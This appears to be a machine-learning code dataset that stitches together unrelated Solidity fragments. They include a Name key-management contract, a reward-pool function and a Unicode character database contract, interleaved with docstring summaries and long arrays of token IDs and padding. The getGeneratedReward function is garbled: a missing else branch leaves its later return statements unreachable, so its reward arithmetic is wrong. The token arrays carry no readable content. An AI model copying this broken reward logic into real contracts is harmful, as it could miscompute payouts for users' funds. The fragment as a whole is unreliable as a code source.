* @param _id The ID of the Name
* @return the writer public key
*/
function getWriterKey(address _id) external isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].writerKey;
}
/**
* @dev Check whether or not a key is Name's writerKey
* @param _id The ID of the Name
* @param _key The key to be checked
* @return true if yes, false otherwise
*/
function isNameWriterKey(address _id, address _key) public isName(_id) view returns (bool) {
require (isExist(_id));
require (_key != address(0));
return publicKeys[_id].writerKey == _key;
}
/**
* @dev Get list of publicKeys of a Name
* @param _id The ID of the Name
* @param _from The starting index
* @param _to The ending index
* @return list of publicKeys
*/
function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[] memory) {
require (isExist(_id));
require (_from >= 0 && _to >= _from);
PublicKey memory _publicKey = publicKeys[_id];
require (_publicKey.keys.length > 0);
if (_to > _publicKey.keys.length.sub(1)) {
_to = _publicKey.keys.length.sub(1);
}
address[] memory _keys = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_keys[i.sub(_from)] = _publicKey.keys[i];
}
return _keys;
}
/**
* @dev Remove publicKey from the list
* @param _id The ID of the Name
* @param _key The publicKey to be removed
*/
function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
require (this.isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
// Can't remove default key
require (_key != _publicKey.defaultKey);
// Can't remove writer key
require (_key != _publicKey.writerKey);
// Has to have at least defaultKey/writerKey
require (_publicKey.keys.length > 1);
keyToNameId[_key] = address(0);
uint256 index;
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
index = i;
break;
}
}
for (uint256 i = index; i < _publicKey.keys.length.sub(1); i++) {
_publicKey.keys[i] = _publicKey.keys[i+1];
}
_publicKey.keys.length--;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit RemoveKey(_id, _key, _nonce);
}
/**
* @dev Set a publicKey as the default for a Name
* @param _id The ID of the Name
* @param _defaultKey The defaultKey to be set
* @param _signatureV The V part of the signature for this update
* @param _signatureR The R part of the signature for this update
* @param _signatureS The S part of the signature for this update
*/
function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
require (this.isKeyExist(_id, _defaultKey));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.defaultKey = _defaultKey;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetDefaultKey(_id, _defaultKey, _nonce);
}
/**
* @dev Set a publicKey as the writer for a Name
* @param _id The ID of the Name
* @param _writerKey The writerKey to be set
* @param _signatureV The V part of the signature for this update
* @param _signatureR The R part of the signature for this update
* @param _signatureS The S part of the signature for this update
*/
function setWriterKey(address _id, address _writerKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) senderNameNotCompromised {
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _writerKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
require (_setWriterKey(_id, _writerKey));
}
/**
* @dev Add key and set as writerKey for a Name
* @param _id The ID of the Name
* @param _key The writerKey to be added
* @param _nonce The signed uint256 nonce (should be Name's current nonce + 1)
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
*/
function addSetWriterKey(address _id,
address _key,
uint256 _nonce,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public isName(_id) onlyAdvocate(_id) keyNotTaken(_key) senderNameNotCompromised {
require (_nonce == _nameFactory.nonces(_id).add(1));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _key, _nonce));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == _key);
require (_addKey(_id, _key));
require (_setWriterKey(_id, _key));
}
/***** INTERNAL METHOD *****/
/**
* @dev Actual adding the publicKey to list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to be added
* @return true on success
*/
function _addKey(address _id, address _key) internal returns (bool) {
require (!this.isKeyExist(_id, _key));
keyToNameId[_key] = _id;
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.keys.push(_key);
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit AddKey(_id, _key, _nonce);
return true;
}
/**
* @dev Actual setting the writerKey for a Name
* @param _id The ID of the Name
* @param _writerKey The writerKey to be set
* @return true on success
*/
function _setWriterKey(address _id, address _writerKey) internal returns (bool) {
require (this.isKeyExist(_id, _writerKey));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.writerKey = _writerKey;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetWriterKey(_id, _writerKey, _nonce);
return true;
}
}
| * @dev Get list of publicKeys of a Name @param _id The ID of the Name @param _from The starting index @param _to The ending index @return list of publicKeys/ | function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[] memory) {
require (isExist(_id));
require (_from >= 0 && _to >= _from);
PublicKey memory _publicKey = publicKeys[_id];
require (_publicKey.keys.length > 0);
if (_to > _publicKey.keys.length.sub(1)) {
_to = _publicKey.keys.length.sub(1);
}
address[] memory _keys = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_keys[i.sub(_from)] = _publicKey.keys[i];
}
return _keys;
}
| 6,438,801 | [
1,
967,
666,
434,
1071,
2396,
434,
279,
1770,
225,
389,
350,
1021,
1599,
434,
326,
1770,
225,
389,
2080,
1021,
5023,
770,
225,
389,
869,
1021,
11463,
770,
327,
666,
434,
1071,
2396,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
24753,
12,
2867,
389,
350,
16,
2254,
5034,
389,
2080,
16,
2254,
5034,
389,
869,
13,
1071,
30430,
24899,
350,
13,
1476,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
202,
202,
6528,
261,
291,
4786,
24899,
350,
10019,
203,
202,
202,
6528,
261,
67,
2080,
1545,
374,
597,
389,
869,
1545,
389,
2080,
1769,
203,
203,
202,
202,
9632,
3778,
389,
482,
653,
273,
1071,
2396,
63,
67,
350,
15533,
203,
202,
202,
6528,
261,
67,
482,
653,
18,
2452,
18,
2469,
405,
374,
1769,
203,
203,
202,
202,
430,
261,
67,
869,
405,
225,
389,
482,
653,
18,
2452,
18,
2469,
18,
1717,
12,
21,
3719,
288,
203,
1082,
202,
67,
869,
273,
389,
482,
653,
18,
2452,
18,
2469,
18,
1717,
12,
21,
1769,
203,
202,
202,
97,
203,
202,
202,
2867,
8526,
3778,
389,
2452,
273,
394,
1758,
8526,
24899,
869,
18,
1717,
24899,
2080,
2934,
1289,
12,
21,
10019,
203,
203,
202,
202,
1884,
261,
11890,
5034,
277,
273,
389,
2080,
31,
277,
1648,
389,
869,
31,
277,
27245,
288,
203,
1082,
202,
67,
2452,
63,
77,
18,
1717,
24899,
2080,
25887,
273,
389,
482,
653,
18,
2452,
63,
77,
15533,
203,
202,
202,
97,
203,
202,
202,
2463,
389,
2452,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1313161554/0xa003bFBE51CeB23a57C82128bC0c5B2422B63CE1/sources/TripolarGenesisRewardPool.sol | Return accumulate rewards over the given _from to _to block. | function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(tripolarPerSecond);
return poolEndTime.sub(_fromTime).mul(tripolarPerSecond);
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(tripolarPerSecond);
return _toTime.sub(_fromTime).mul(tripolarPerSecond);
}
}
| 16,915,445 | [
1,
990,
21757,
283,
6397,
1879,
326,
864,
389,
2080,
358,
389,
869,
1203,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
7823,
17631,
1060,
12,
11890,
5034,
389,
2080,
950,
16,
2254,
5034,
389,
869,
950,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
67,
2080,
950,
1545,
389,
869,
950,
13,
327,
374,
31,
203,
3639,
309,
261,
67,
869,
950,
1545,
2845,
25255,
13,
288,
203,
5411,
309,
261,
67,
2080,
950,
1545,
2845,
25255,
13,
327,
374,
31,
203,
5411,
309,
261,
67,
2080,
950,
1648,
2845,
13649,
13,
327,
2845,
25255,
18,
1717,
12,
6011,
13649,
2934,
16411,
12,
25125,
355,
297,
2173,
8211,
1769,
203,
5411,
327,
2845,
25255,
18,
1717,
24899,
2080,
950,
2934,
16411,
12,
25125,
355,
297,
2173,
8211,
1769,
203,
5411,
309,
261,
67,
869,
950,
1648,
2845,
13649,
13,
327,
374,
31,
203,
5411,
309,
261,
67,
2080,
950,
1648,
2845,
13649,
13,
327,
389,
869,
950,
18,
1717,
12,
6011,
13649,
2934,
16411,
12,
25125,
355,
297,
2173,
8211,
1769,
203,
5411,
327,
389,
869,
950,
18,
1717,
24899,
2080,
950,
2934,
16411,
12,
25125,
355,
297,
2173,
8211,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Unicode.sol";
import "./UTF8Encoder.sol";
/// @title An API for the Unicode Character Database
/// @author Devin Stein
/// @notice The Unicode Character Database available on Ethereum and to Ethereum developers
/// @dev This project is only possible because of many previous Unicode data implementations. A few to highlight are
/// https://unicode-org.github.io/icu-docs/apidoc/dev/icu4c/index.html
/// https://github.com/open-i18n/rust-unic
/// For more information, review https://www.unicode.org/reports/tr44
contract UnicodeData is Ownable {
using Unicode for string;
using UTF8Encoder for uint32;
// Unicode Data Version
uint8 public constant MAJOR_VERSION = 14;
uint8 public constant MINOR_VERSION = 0;
uint8 public constant PATCH_VERSION = 0;
/// @dev https://www.unicode.org/reports/tr44/#Bidi_Class_Values
enum BidiClass {
LEFT_TO_RIGHT,
RIGHT_TO_LEFT,
ARABIC_LETTER,
ARABIC_NUMBER,
EUROPEAN_NUMBER,
EUROPEAN_SEPARATOR,
EUROPEAN_TERMINATOR,
COMMON_SEPARATOR,
NONSPACING_MARK,
BOUNDARY_NEUTRAL,
PARAGRAPH_SEPARATOR,
SEGMENT_SEPARATOR,
WHITE_SPACE,
OTHER_NEUTRAL,
LEFT_TO_RIGHT_EMBEDDING,
LEFT_TO_RIGHT_OVERRIDE,
RIGHT_TO_LEFT_EMBEDDING,
RIGHT_TO_LEFT_OVERRIDE,
LEFT_TO_RIGHT_ISOLATE,
RIGHT_TO_LEFT_ISOLATE,
POP_DIRECTIONAL_FORMAT,
POP_DIRECTIONAL_ISOLATE,
FIRST_STRONG_ISOLATE
}
/// @dev https://www.unicode.org/reports/tr44/#Decomposition_Type
enum DecompositionType {
NONE, /*[none]*/
CANONICAL, /*[can]*/
COMPAT, /*[com]*/
CIRCLE, /*[enc]*/
FINAL, /*[fin]*/
FONT, /*[font]*/
FRACTION, /*[fra]*/
INITIAL, /*[init]*/
ISOLATED, /*[iso]*/
MEDIAL, /*[med]*/
NARROW, /*[nar]*/
NO_BREAK, /*[nb]*/
SMALL, /*[sml]*/
SQUARE, /*[sqr]*/
SUB, /*[sub]*/
SUPER, /*[sup]*/
VERTICAL, /*[vert]*/
WIDE /*[wide]*/
}
/// @dev DECIMAL_DIGIT_NAN is the 'NaN' value for the decimal and digit properties
uint8 public constant DECIMAL_DIGIT_NAN = type(uint8).max;
function isNaN(uint8 _number) internal pure returns (bool) {
// hardcode 1 and 0 to keep function pure (instead of view)
return _number == DECIMAL_DIGIT_NAN;
}
/// @dev: RationalNumber is a naive representation of a rational number.
/// It is meant to store information for the numeric value of unicode characters.
/// int128 is sufficient for current and likely future unicode characters.
/// signed ints are required for TIBETAN DIGIT HALF ZERO (0F33), which is negative.
/// It is not meant to provide utilities for rational number math.
/// For downstream computation, use other libraries like
/// https://github.com/hifi-finance/prb-math/
/// https://github.com/abdk-consulting/abdk-libraries-solidity
struct RationalNumber {
int128 numerator;
int128 denominator;
}
/// @dev RATIONAL_NUMBER_NAN is the 'NaN' value for the numeric property
RationalNumber public RATIONAL_NUMBER_NAN = RationalNumber(1, 0);
function isNaN(RationalNumber memory _number) internal pure returns (bool) {
// hardcode 1 and 0 to keep function pure (instead of view)
return _number.numerator == 1 && _number.denominator == 0;
}
/// @dev Character represents the Unicode database character properties:
/// https://unicode.org/Public/UNIDATA/UnicodeData.txt
// Order of Properties Matter: https://docs.soliditylang.org/en/v0.8.10/internals/layout_in_storage.html
// name = 32 bytes
// numeric = 32 bytes
// decompositionMapping = 32 bytes
// category + combining + bidirectional + decompositionType + decimal + digit + mirrored + lowercase + uppercase + titlecase = 20 bytes
// 2 + 1 + 1 + 1 + 1 + 1 + 1 + 4 + 4 + 4 = 20 bytes
struct Character {
/// (1) When a string value not enclosed in <angle brackets> occurs in this field,
/// it specifies the character's Name property value,
/// which matches exactly the name published in the code charts.
/// The Name property value for most ideographic characters and for Hangul syllables
/// is derived instead by various rules.
/// See *Section 4.8, Name* in *[Unicode]* for a full specification of those rules.
/// Strings enclosed in <angle brackets> in this field either provide
/// label information used in the name derivation rules,
/// or—in the case of characters which have a null string as their Name property value,
/// such as control characters—provide other information about their code point type.
///
/// [Unicode]: http://unicode.org/reports/tr41/tr41-21.html#Unicode
string name;
/// (8) If the character has the property value `Numeric_Type=Numeric`,
/// then the `Numeric_Value` of that character is represented with a positive or negative
/// integer or rational number in this field, and fields 6 and 7 are null.
/// This includes fractions such as, for example, "1/5" for U+2155 VULGAR FRACTION ONE FIFTH.
///
/// Some characters have these properties based on values from the Unihan data files.
/// See [`Numeric_Type`, Han].
///
/// [`Numeric_Type`, Han]: http://unicode.org/reports/tr44/#Numeric_Type_Han
RationalNumber numeric;
/// (5) This is one half of the field containing both the values
/// [`Decomposition_Type` and `Decomposition_Mapping`], with the type in angle brackets.
/// The decomposition mappings exactly match the decomposition mappings
/// published with the character names in the Unicode Standard.
/// For more information, see [Character Decomposition Mappings][Decomposition Mappings].
///
/// [Decomposition Mappings]: http://unicode.org/reports/tr44/#Character_Decomposition_Mappings
// The default value of the Decomposition_Mapping property is the code point of the character itself
uint32[] decompositionMapping;
/// (2) This is a useful breakdown into various character types which
/// can be used as a default categorization in implementations.
/// For the property values, see [General_Category Values].
///
/// [General_Category Values]: http://unicode.org/reports/tr44/#General_Category_Values
bytes2 category;
/// (3) The classes used for the Canonical Ordering Algorithm in the Unicode Standard.
/// This property could be considered either an enumerated property or a numeric property:
/// the principal use of the property is in terms of the numeric values.
/// For the property value names associated with different numeric values,
/// see [DerivedCombiningClass.txt] and [Canonical_Combining_Class Values][CCC Values].
///
/// [DerivedCombiningClass.txt]: http://unicode.org/reports/tr44/#DerivedCombiningClass.txt
/// [CCC Values]: http://unicode.org/reports/tr44/#Canonical_Combining_Class_Values
uint8 combining;
/// (4) These are the categories required by the Unicode Bidirectional Algorithm.
/// For the property values, see [Bidirectional Class Values].
/// For more information, see Unicode Standard Annex #9,
/// "Unicode Bidirectional Algorithm" *[UAX9]*.
///
/// The default property values depend on the code point,
/// and are explained in DerivedBidiClass.txt
///
/// [Bidirectional Class Values]: http://unicode.org/reports/tr44/#Bidi_Class_Values
/// [UAX9]: http://unicode.org/reports/tr41/tr41-21.html#UAX9
BidiClass bidirectional;
/// (5) This is one half of the field containing both the values
/// [`Decomposition_Type` and `Decomposition_Mapping`], with the type in angle brackets.
/// The decomposition mappings exactly match the decomposition mappings
/// published with the character names in the Unicode Standard.
/// For more information, see [Character Decomposition Mappings][Decomposition Mappings].
///
/// [Decomposition Mappings]: http://unicode.org/reports/tr44/#Character_Decomposition_Mappings
DecompositionType decompositionType;
/// (6) If the character has the property value `Numeric_Type=Decimal`,
/// then the `Numeric_Value` of that digit is represented with an integer value
/// (limited to the range 0..9) in fields 6, 7, and 8.
/// Characters with the property value `Numeric_Type=Decimal` are restricted to digits
/// which can be used in a decimal radix positional numeral system and
/// which are encoded in the standard in a contiguous ascending range 0..9.
/// See the discussion of *decimal digits* in *Chapter 4, Character Properties* in *[Unicode]*.
///
/// [Unicode]: http://unicode.org/reports/tr41/tr41-21.html#Unicode
uint8 decimal;
/// (7) If the character has the property value `Numeric_Type=Digit`,
/// then the `Numeric_Value` of that digit is represented with an integer value
/// (limited to the range 0..9) in fields 7 and 8, and field 6 is null.
/// This covers digits that need special handling, such as the compatibility superscript digits.
///
/// Starting with Unicode 6.3.0,
/// no newly encoded numeric characters will be given `Numeric_Type=Digit`,
/// nor will existing characters with `Numeric_Type=Numeric` be changed to `Numeric_Type=Digit`.
/// The distinction between those two types is not considered useful.
uint8 digit;
/// (9) If the character is a "mirrored" character in bidirectional text,
/// this field has the value "Y" [true]; otherwise "N" [false].
/// See *Section 4.7, Bidi Mirrored* of *[Unicode]*.
/// *Do not confuse this with the [`Bidi_Mirroring_Glyph`] property*.
///
/// [Unicode]: http://unicode.org/reports/tr41/tr41-21.html#Unicode
/// [`Bidi_Mirroring_Glyph`]: http://unicode.org/reports/tr44/#Bidi_Mirroring_Glyph
bool mirrored;
/// (12) Simple uppercase mapping (single character result).
/// If a character is part of an alphabet with case distinctions,
/// and has a simple uppercase equivalent, then the uppercase equivalent is in this field.
/// The simple mappings have a single character result,
/// where the full mappings may have multi-character results.
/// For more information, see [Case and Case Mapping].
///
/// [Case and Case Mapping]: http://unicode.org/reports/tr44/#Casemapping
uint32 uppercase;
/// (13) Simple lowercase mapping (single character result).
uint32 lowercase;
/// (14) Simple titlecase mapping (single character result).
uint32 titlecase;
}
// Mapping from Unicode code point to character properties
mapping(uint32 => Character) public characters;
uint8 public constant MAX_BYTES = 4;
// simple check if a string could be a valid character
function canBeCharacter(string calldata _char) private pure {
require(
bytes(_char).length <= MAX_BYTES,
"a character must be less than or equal to four bytes"
);
}
function _exists(string memory _name) private pure returns (bool) {
return bytes(_name).length > 0;
}
function mustExist(Character memory _char) private pure {
require(_exists(_char.name), "character does not exist");
}
/// @notice Check if `_char` exists in the Unicode database
/// @dev All getters will error if a character doesn't exist.
/// exists allows you check before getting.
/// @param _char The character to check
/// @return True if character `_char` is valid and exists
function exists(string calldata _char) external view returns (bool) {
if (bytes(_char).length > MAX_BYTES) return false;
Character memory char = characters[_char.toCodePoint()];
return _exists(char.name);
}
/// @dev Internal getter for characters and standard validation. It errors if the character doesn't exist.
function get(string calldata _char) private view returns (Character memory) {
canBeCharacter(_char);
Character memory char = characters[_char.toCodePoint()];
// Require the character exists
mustExist(char);
return char;
}
/// @notice This is only used by the owner to initialize and update Unicode character database
/// @param _codePoint The Unicode code point to set
/// @param _data The character data
function set(uint32 _codePoint, Character calldata _data) external onlyOwner {
// Require name to be non-empty!
require(bytes(_data.name).length > 0, "character name must not be empty");
characters[_codePoint] = _data;
}
/// @notice This is only used by the owner to initialize and update Unicode character database
/// @param _codePoints The Unicode code points to set
/// @param _data The list of character data to set
/// @dev Order matters! Order of _data must match the order of _codePoints
function setBatch(uint32[] calldata _codePoints, Character[] calldata _data)
external
onlyOwner
{
uint256 len = _codePoints.length;
uint256 i;
for (i = 0; i < len; i++) {
uint32 codePoint = _codePoints[i];
// Require name to be non-empty!
require(
bytes(_data[i].name).length > 0,
"character name must not be empty"
);
characters[codePoint] = _data[i];
}
}
// -------
// Getters
// -------
/// @notice Get the Unicode name of `_char`
/// @dev All Unicode characters will have a non-empty name
/// @param _char The character to get
/// @return The Unicode name of `_char`
function name(string calldata _char) external view returns (string memory) {
return get(_char).name;
}
/// @notice Get the Unicode general category of `_char`
/// @dev See https://www.unicode.org/reports/tr44/#General_Category_Values for possible values
/// @param _char The character to get
/// @return The Unicode general category of `_char`
function category(string calldata _char) external view returns (bytes2) {
return get(_char).category;
}
/// @notice Get the Unicode combining class of `_char`
/// @dev See https://www.unicode.org/reports/tr44/#Canonical_Combining_Class_Values for possible values
/// @param _char The character to get
/// @return The Unicode combining class of `_char`
function combining(string calldata _char) external view returns (uint8) {
return get(_char).combining;
}
/// @notice Get the Unicode bidirectional (bidi) class of `_char`
/// @dev See https://www.unicode.org/reports/tr44/#Bidi_Class_Values for possible values
/// @param _char The character to get
/// @return The Unicode bidirectional (bidi) class of `_char`
function bidirectional(string calldata _char)
external
view
returns (BidiClass)
{
return get(_char).bidirectional;
}
/// @notice Get the Unicode decomposition type of `_char`
/// @dev See https://www.unicode.org/reports/tr44/#Decomposition_Type for possible values.
/// This can be used to implement the Unicode decomposition algorithm
/// @param _char The character to get
/// @return The Unicode decomposition type of `_char`
function decompositionType(string calldata _char)
external
view
returns (DecompositionType)
{
return get(_char).decompositionType;
}
/// @notice Get the Unicode decomposition mapping of `_char`
/// @dev This can be used to implement the Unicode decomposition algorithm.
/// @param _char The character to get
/// @return The Unicode decomposition mapping as an array of code points of `_char`
function decompositionMapping(string calldata _char)
external
view
returns (uint32[] memory)
{
return get(_char).decompositionMapping;
}
/// @notice Get the Unicode decimal property of `_char`
/// @dev This raises an error for characters without a decimal property. Values can only be within 0-9.
/// @param _char The character to get
/// @return The decimal value of `_char`
function decimal(string calldata _char) external view returns (uint8) {
Character memory char = get(_char);
require(
!isNaN(char.decimal),
"character does not have a decimal representation"
);
return char.decimal;
}
/// @notice Get the Unicode digit property of `_char`
/// @dev This raises an error for characters without a digit property. Values can only be within 0-9.
/// @param _char The character to get
/// @return The digit value of `_char`
function digit(string calldata _char) external view returns (uint8) {
Character memory char = get(_char);
require(
!isNaN(char.digit),
"character does not have a digit representation"
);
return char.digit;
}
/// @notice Get the Unicode numeric property of `_char`
/// @dev This raises an error for characters without a numeric property.
/// @param _char The character to get
/// @return The RationalNumber struct for the numeric property of `_char`
function numeric(string calldata _char)
external
view
returns (RationalNumber memory)
{
Character memory char = get(_char);
require(
!isNaN(char.numeric),
"character does not have a numeric representation"
);
return char.numeric;
}
/// @notice If `_char` is a "mirrored" character in bidirectional text
/// @dev Do not confuse this with the Bidi_Mirroring_Glyph property
/// @param _char The character to get
/// @return True if `_char` is a "mirrored" character in bidirectional text
function mirrored(string calldata _char) external view returns (bool) {
return get(_char).mirrored;
}
/// @notice Get the simple uppercase value for a character if it exists
/// @dev This does not handle Special Casing. Contributions to fix this are welcome!
/// @param _char the character to uppercase
/// @return The corresponding uppercase character
function uppercase(string calldata _char)
public
view
returns (string memory)
{
uint32 codePoint = get(_char).uppercase;
// default to same character
if (codePoint == 0) return _char;
return codePoint.UTF8Encode();
}
/// @notice Get the simple lowercase value for a character if it exists
/// @dev This does not handle Special Casing. Contributions to fix this are welcome!
/// @param _char the character to lowercase
/// @return The corresponding lowercase character
function lowercase(string calldata _char)
external
view
returns (string memory)
{
uint32 codePoint = get(_char).lowercase;
// default to the same character
if (codePoint == 0) return _char;
return codePoint.UTF8Encode();
}
/// @notice Get the simple titlecase value for a character if it exists
/// @dev This does not handle Special Casing. Contributions to fix this are welcome!
/// @param _char the character to titlecase
/// @return The corresponding titlecase character
function titlecase(string calldata _char)
external
view
returns (string memory)
{
uint32 codePoint = get(_char).titlecase;
// default to uppercase
if (codePoint == 0) return uppercase(_char);
return codePoint.UTF8Encode();
}
// Derived Properties
/**
6= decimal
7= digit
8= numeric
Numeric_Type is extracted as follows.
If fields 6, 7, and 8 in UnicodeData.txt are all non-empty, then Numeric_Type=Decimal.
Otherwise, if fields 7 and 8 are both non-empty, then Numeric_Type=Digit.
Otherwise, if field 8 is non-empty, then Numeric_Type=Numeric.
For characters listed in the Unihan data files, Numeric_Type=Numeric for characters that have kPrimaryNumeric, kAccountingNumeric, or kOtherNumeric tags. The default value is Numeric_Type=None.
*/
enum NumericType {
NONE,
DECIMAL,
DIGIT,
NUMERIC
}
/// @notice Get the numeric type for `_char`
/// @dev This does not handle derived numeric types from the Unicode Han Database. Contributions to fix this are welcome!
/// https://www.unicode.org/Public/UNIDATA/extracted/DerivedNumericType.txt
/// @param _char the character to get
/// @return The numeric type for the character
function numericType(string calldata _char)
external
view
returns (NumericType)
{
Character memory char = get(_char);
bool hasDecimal = !isNaN(char.decimal);
bool hasDigit = !isNaN(char.digit);
bool hasNumeric = !isNaN(char.numeric);
if (hasDecimal && hasDigit && hasNumeric) return NumericType.DECIMAL;
if (hasDigit && hasNumeric) return NumericType.DIGIT;
if (hasNumeric) return NumericType.NUMERIC;
return NumericType.NONE;
}
/// @notice Get the numeric value for `_char`
/// @dev This does not handle derived numeric types from the Unicode Han Database and is currently identical to the numeric property. Contributions to fix this are welcome!
/// https://www.unicode.org/Public/UNIDATA/extracted/DerivedNumericValues.txt
/// @param _char the character to get
/// @return The numeric value for the character
function numericValue(string calldata _char)
external
view
returns (RationalNumber memory)
{
Character memory char = get(_char);
require(!isNaN(char.numeric), "character does not have a numeric value");
return char.numeric;
}
/// @notice Check if `_char` is lowercase
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is lowercase
function isLowercase(string calldata _char) public view returns (bool) {
Character memory char = get(_char);
return char.category == "Ll";
}
/// @notice Check if `_char` is uppercase
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is uppercase
function isUppercase(string calldata _char) public view returns (bool) {
Character memory char = get(_char);
return char.category == "Lu";
}
/// @notice Check if `_char` is titlecase
/// @dev This is only for a single Unicode character not entire strings
/// @param _char the character to get
/// @return True if the character is titlecase
